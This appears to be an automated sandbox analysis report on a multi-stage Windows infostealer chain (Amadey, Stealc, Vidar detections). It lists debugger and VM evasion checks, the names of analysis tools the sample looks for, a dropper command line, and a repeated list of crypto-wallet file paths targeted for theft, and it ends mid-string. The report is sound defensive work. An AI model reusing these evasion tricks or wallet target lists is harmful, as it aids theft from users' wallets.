API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 2876	Thread sleep time: -56028s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3188	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1816	Thread sleep time: -54027s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6200	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2596	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2572	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3236	Thread sleep time: -52026s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8168	Thread sleep count: 121 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8168	Thread sleep time: -3630000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 8168	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsKKJKFBKKEC.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB2C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CB2C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000019.00000002.2042694018.0000000000209000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000001.1994706966.0000000000209000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001B.00000002.2728180481.0000000000209000.00000040.00000001.01000000.0000000E.sdmp, 2bb39d7142.exe, 0000001F.00000002.2731554210.000000000147D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW{
Source: file.exe, 00000000.00000002.2010447472.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696497155
Source: skotes.exe, 0000001B.00000002.2731009858.0000000000E8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\N
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: file.exe, 00000000.00000002.2010447472.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: stealc_main1.exe, 0000001E.00000002.2597602127.000000000065E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1984371781.0000000001527000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2731009858.0000000000EA9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001B.00000002.2731009858.0000000000E79000.00000004.00000020.00020000.00000000.sdmp, stealc_main1.exe, 0000001E.00000002.2597602127.000000000065E000.00000004.00000020.00020000.00000000.sdmp, stealc_main1.exe, 0000001E.00000002.2597602127.00000000006BF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2010447472.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 0RECOVE~1d16bankoRecoveryImprovedVMware20,11696497155x
Source: file.exe, 00000000.00000002.2010447472.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696497155x
Source: file.exe, 00000000.00000002.1981283656.0000000000C79000.00000040.00000001.01000000.00000003.sdmp, DocumentsKKJKFBKKEC.exe, 00000017.00000002.2010042206.00000000005E9000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000018.00000001.1981836596.0000000000209000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000018.00000002.2034319176.0000000000209000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000002.2042694018.0000000000209000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000019.00000001.1994706966.0000000000209000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001B.00000002.2728180481.0000000000209000.00000040.00000001.01000000.0000000E.sdmp, 2bb39d7142.exe, 0000001F.00000002.2731554210.000000000147D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2010447472.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: file.exe, 00000000.00000002.2010447472.0000000023AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696497155
Source: 2bb39d7142.exe, 0000001F.00000002.2734184044.00000000019DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Thread information set: HideFromDebugger

Potentially malicious time measurement code found

Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Code function: 23_2_04B003BB Start: 04B004EF End: 04B003DD		23_2_04B003BB
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Code function: 23_2_04B00114 Start: 04B001D9 End: 04B00157		23_2_04B00114

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsKKJKFBKKEC.exe

Code function: 23_2_04B00378 rdtsc

23_2_04B00378

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB75FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CB75FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CB13480

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CB4B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB4B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CB4B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 1556, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stealc_main1.exe PID: 7644, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKKJKFBKKEC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsKKJKFBKKEC.exe "C:\Users\user\DocumentsKKJKFBKKEC.exe"
Source: C:\Users\user\DocumentsKKJKFBKKEC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe "C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe "C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe"

Source: file.exe, file.exe, 00000000.00000002.1981283656.0000000000C79000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB4B341 cpuid

0_2_6CB4B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB135A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CB135A0

Source: C:\Users\user\AppData\Local\Temp\1007699001\2bb39d7142.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 23.2.DocumentsKKJKFBKKEC.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.skotes.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.skotes.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000003.2001835407.00000000047F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.1993834531.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2471754491.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2034171866.0000000000011000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2042469704.0000000000011000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.1968254423.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2727748549.0000000000011000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2009781775.00000000003F1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 30.0.stealc_main1.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.2.stealc_main1.exe.770000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000002.2597848529.000000000079B000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1984371781.00000000014AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1980650444.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2597602127.000000000065E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1477007219.0000000005290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.2573308190.000000000079B000.00000002.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1556, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: stealc_main1.exe PID: 7644, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1007698001\stealc_main1.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\stealc_main1[1].exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 1556, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1984371781.00000000014F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo 